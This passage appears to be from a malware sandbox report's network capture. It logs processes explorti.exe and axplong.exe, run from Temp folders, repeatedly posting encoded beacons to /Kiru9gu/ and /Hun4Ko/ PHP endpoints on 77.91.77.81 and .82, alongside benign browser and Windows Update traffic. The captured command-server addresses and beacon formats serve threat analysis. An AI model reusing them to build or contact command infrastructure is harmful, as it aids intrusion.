Jul 24, 2024 02:41:01.951061010 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Jul 24, 2024 02:41:02.179606915 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:41:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	49977	77.91.77.82	80	11024	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:41:01.358541012 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:41:02.082030058 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:41:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:41:02.094574928 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 24, 2024 02:41:02.323705912 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:41:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	49978	77.91.77.81	80	11004	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:41:02.353842020 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:41:03.063513994 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:41:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:41:03.071121931 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Jul 24, 2024 02:41:03.291302919 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:41:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	49979	77.91.77.82	80	11024	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:41:02.482038975 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:41:03.230237961 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:41:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:41:03.244959116 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 24, 2024 02:41:03.524646044 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:41:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	49980	77.91.77.81	80	11004	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:41:03.528249025 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:41:04.227369070 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:41:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	49981	77.91.77.82	80	11024	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:41:03.659315109 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:41:04.366707087 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:41:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49735	142.250.185.110	443	7512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-24 00:39:16 UTC	802	OUT	GET /account HTTP/1.1 Host: www.youtube.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-24 00:39:16 UTC	2470	IN	HTTP/1.1 303 See Other Content-Type: application/binary X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 24 Jul 2024 00:39:16 GMT Location: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en Strict-Transport-Security: max-age=31536000 X-Frame-Options: SAMEORIGIN Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="youtube_main" Report-To: {"group":"youtube_main","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube_main"}]} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Vary: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Origin-Trial: AmhMBR6zCLzDDxpW+HfpP67BqwIknWnyMOXOQGfzYswFmJe+fgaI6XZgAzcxOrzNtP7hEDsOo1jdjFnVr2IdxQ4AAAB4eyJvcmlnaW4iOiJodHRwczovL3lvdXR1YmUuY29tOjQ0MyIsImZlYXR1cmUiOiJXZWJWaWV3WFJlcXVlc3RlZFdpdGhEZXByZWNhdGlvbiIsImV4cGlyeSI6MTc1ODA2NzE5OSwiaXNTdWJkb21haW4iOnRydWV9 P3P: CP="This is not a P3P policy! See http://support.google.com/accounts/answer/151657?hl=en for more info." Server: ESF Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: GPS=1; Domain=.youtube.com; Expires=Wed, 24-Jul-2024 01:09:16 GMT; Path=/; Secure; HttpOnly Set-Cookie: YSC=xYccwheiDRE; Domain=.youtube.com; Path=/; Secure; HttpOnly; SameSite=none; Partitioned Set-Cookie: VISITOR_INFO1_LIVE=TgtF_oo24VQ; Domain=.youtube.com; Expires=Mon, 20-Jan-2025 00:39:16 GMT; Path=/; Secure; HttpOnly; SameSite=none; Partitioned Set-Cookie: VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgFg%3D%3D; Domain=.youtube.com; Expires=Mon, 20-Jan-2025 00:39:16 GMT; Path=/; Secure; HttpOnly; SameSite=none; Partitioned Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49732	40.68.123.157	443

Timestamp	Bytes transferred	Direction	Data
2024-07-24 00:39:16 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Sx5Zl4sA8wn+Vv+&MD=hgoBhGpR HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-07-24 00:39:16 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 6ca0b6a6-d383-4161-8677-d432695b98c7 MS-RequestId: 6817cab8-d749-4244-9453-9928a749162f MS-CV: il6U0T1M8ESgMs+u.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 24 Jul 2024 00:39:16 GMT Connection: close Content-Length: 24490
2024-07-24 00:39:16 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-07-24 00:39:16 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49746	216.58.212.174	443	8396	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-24 00:39:20 UTC	685	OUT	GET /account HTTP/1.1 Host: www.youtube.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-24 00:39:20 UTC	2035	IN	HTTP/1.1 303 See Other Content-Type: application/binary X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 24 Jul 2024 00:39:20 GMT Location: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en-GB X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="youtube_main" Report-To: {"group":"youtube_main","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube_main"}]} Origin-Trial: AmhMBR6zCLzDDxpW+HfpP67BqwIknWnyMOXOQGfzYswFmJe+fgaI6XZgAzcxOrzNtP7hEDsOo1jdjFnVr2IdxQ4AAAB4eyJvcmlnaW4iOiJodHRwczovL3lvdXR1YmUuY29tOjQ0MyIsImZlYXR1cmUiOiJXZWJWaWV3WFJlcXVlc3RlZFdpdGhEZXByZWNhdGlvbiIsImV4cGlyeSI6MTc1ODA2NzE5OSwiaXNTdWJkb21haW4iOnRydWV9 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* P3P: CP="This is not a P3P policy! See http://support.google.com/accounts/answer/151657?hl=en-GB for more info." Server: ESF Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: GPS=1; Domain=.youtube.com; Expires=Wed, 24-Jul-2024 01:09:20 GMT; Path=/; Secure; HttpOnly Set-Cookie: YSC=KwVBPo3zh5g; Domain=.youtube.com; Path=/; Secure; HttpOnly; SameSite=none Set-Cookie: VISITOR_INFO1_LIVE=09IEX_ckaaA; Domain=.youtube.com; Expires=Mon, 20-Jan-2025 00:39:20 GMT; Path=/; Secure; HttpOnly; SameSite=none Set-Cookie: VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgJA%3D%3D; Domain=.youtube.com; Expires=Mon, 20-Jan-2025 00:39:20 GMT; Path=/; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49761	172.217.18.1	443	8396	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-24 00:39:22 UTC	594	OUT	GET /crx/blobs/AVsOOGgL4EVsLTMzZa-C0yXaDVW5z6pCjWzx7YKwHb9PR6v117H2hbsZgQ2S3VrQetSMoK86b9iY-_-8nYIxIJD4BasJl9SD8IoqvPIbEK9wBlfqTusC6rL6yTYDfaVSn9sAxlKa5bRpPaxsFjcmEK7Nec5bVL7NZYhc/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_80_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-24 00:39:22 UTC	573	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135751 X-GUploader-UploadID: AHxI1nOUzbVWGeTNMVcCvVBwVfhlNMj54oK4djUa9E3BurO2hU6dzsSHs84P5qo_zb-WspAHJOUDbDTc1A X-Goog-Hash: crc32c=IDdmTg== Server: UploadServer Date: Tue, 23 Jul 2024 15:56:45 GMT Expires: Wed, 23 Jul 2025 15:56:45 GMT Cache-Control: public, max-age=31536000 Last-Modified: Tue, 23 Jul 2024 15:56:28 GMT ETag: 1d368626_ddaec042_86665b6c_28d780a0_b2065016 Content-Type: application/x-chrome-extension Age: 31357 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-07-24 00:39:22 UTC	817	IN	Data Raw: 43 72 32 34 03 00 00 00 e8 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-07-24 00:39:22 UTC	1390	IN	Data Raw: fd c7 0f 59 dd ca cf cb 30 5e ae fd 8f bf fc 18 3f ab aa ce 6f f5 9f 86 ea f3 4f e7 8b aa 7e fc f9 c7 ed f2 de 57 f2 ef e5 b5 1f ab 7e fc f1 97 7f fc 18 f2 a7 ba e6 52 7f be 7a 86 4d 61 da 86 e0 b6 91 9a 75 5d 9a b5 2a 9f 87 2d b7 6e 97 ac 9b be 32 73 3c 97 a6 da 8a e4 b0 45 fb 9f 36 ba 3c 2e c2 57 bd 48 91 71 68 ae 17 fd f9 3a 6a a8 79 f8 fe f7 4e dd 44 1a 5d 4e 6a fc f5 d0 bb b5 f4 df 2f a7 cb 61 8a 9a f7 7b e9 db fd f7 67 ca ce f9 92 d0 b9 66 29 ba 7e 7f 5f 98 88 8b a7 31 71 fe fe 4c da 11 23 06 47 da 8d 8d f0 51 97 77 14 c8 99 1d 4a 10 22 04 c4 8e 74 e1 33 0f c2 4d e5 0b 5b 3c 43 e7 18 dc 2e a5 0f 8d 7c 77 d8 1e 94 73 2b 4c 54 17 3e 9b 8f 26 ec 8e 26 50 a5 85 6a 61 ea eb 6e 98 0b 73 73 39 ee c2 67 61 3a ff 1e e7 f7 b3 85 53 ee a9 9e 59 f5 3e 81 0c 1d Data Ascii: Y0^?oO~W~RzMau]*-n2s<E6<.WHqh:jyND]Nj/a{gf)~_1qL#GQwJ"t3M[<C.\|ws+LT>&&Pjanss9ga:SY>
2024-07-24 00:39:22 UTC	1390	IN	Data Raw: b0 78 c3 9a 50 64 5d fb 44 b0 b4 75 cd a2 45 f6 da fb af bc 3f ce 66 36 89 54 f7 7b 85 4d 64 18 16 65 30 97 1e f2 8b 3d 8c f3 00 e1 48 79 96 ec ea 1d f6 a0 d6 80 10 97 4f 10 60 43 7e 2d de bf 3f ac f5 dc 1b 32 87 63 d4 2b 25 8c c9 3d 52 f4 88 e8 d8 51 25 77 c5 5e 7a c9 5e 86 25 15 31 06 d8 2d 7b ad d1 54 eb 11 a3 53 14 2c cf 7d f9 ff d0 e0 b2 c1 43 66 d4 4a 06 e2 33 37 55 9a 78 d1 48 02 d7 8b 1b d1 0b 33 cc 70 a7 4b c1 72 2f c2 13 19 ed c4 5b a9 a0 8b 4d b9 59 5e 7b 72 2d ff 51 fb dc 0d f6 85 87 e6 ba 95 5e 68 12 00 3b 14 08 91 1b c3 91 cc 5a 03 7c cc a3 e0 a7 19 9b 8f 07 0b 70 9c 51 bc af ba f7 c7 22 7f 6b ed da 1b 3c a4 60 9b 5a c3 ab 54 de 7c 82 75 4b 00 a2 d8 aa 43 9d 31 12 d1 82 59 67 1d aa fb 81 1f 1b e0 15 11 e5 97 16 34 8b 65 ef 77 cd 57 b2 c7 ad Data Ascii: xPd]DuE?f6T{Mde0=HyO`C~-?2c+%=RQ%w^z^%1-{TS,}CfJ37UxH3pKr/[MY^{r-Q^h;Z\|pQ"k<`ZT\|uKC1Yg4ewW
2024-07-24 00:39:22 UTC	1390	IN	Data Raw: d9 73 4a e4 91 70 9d a3 3a 66 63 2b dc 55 dd f4 76 4a 8c 67 19 c8 cf dc c0 a9 f6 5c fb 04 0e 30 9f 45 2b 3a 9d 3b 96 d8 5b 6e bd d6 e7 9c e8 c6 a6 3c ec 04 3f 00 02 d8 07 6a 07 4f 70 bb e6 0d 44 84 8e 31 f6 ed 3b e9 6a c5 3d 68 26 0c d9 55 07 3f b0 ae cd 25 f6 a5 bf 92 bd 1a 68 de 40 51 36 ee a5 e4 ce 91 50 6c c6 16 de 88 4e bc 66 c4 fd 22 da f5 e3 d6 a9 11 77 9e cc c8 00 69 5f 40 62 95 20 df ff 5c 62 ff d0 7c 77 74 a5 ee 94 81 37 09 f8 6e 89 76 d0 cc c3 9e ed f1 98 74 e8 44 3c ad 43 b4 7d 7c ef 37 12 7f b8 65 96 f8 5e 7f 6d d6 87 cf c8 3f 3c ff 0f fe 46 0a 5c ba b6 fe 19 70 0e 32 75 0d ee 8d af b1 e1 04 85 42 3c 9e 59 9b c0 78 a6 b0 b5 39 1f b7 d1 de cd 12 22 41 49 d1 15 ab a1 11 33 5c d4 fd b2 5b d9 73 15 d6 f9 35 bc c7 cd bb 1d 79 b6 97 eb f1 e5 7e 9d Data Ascii: 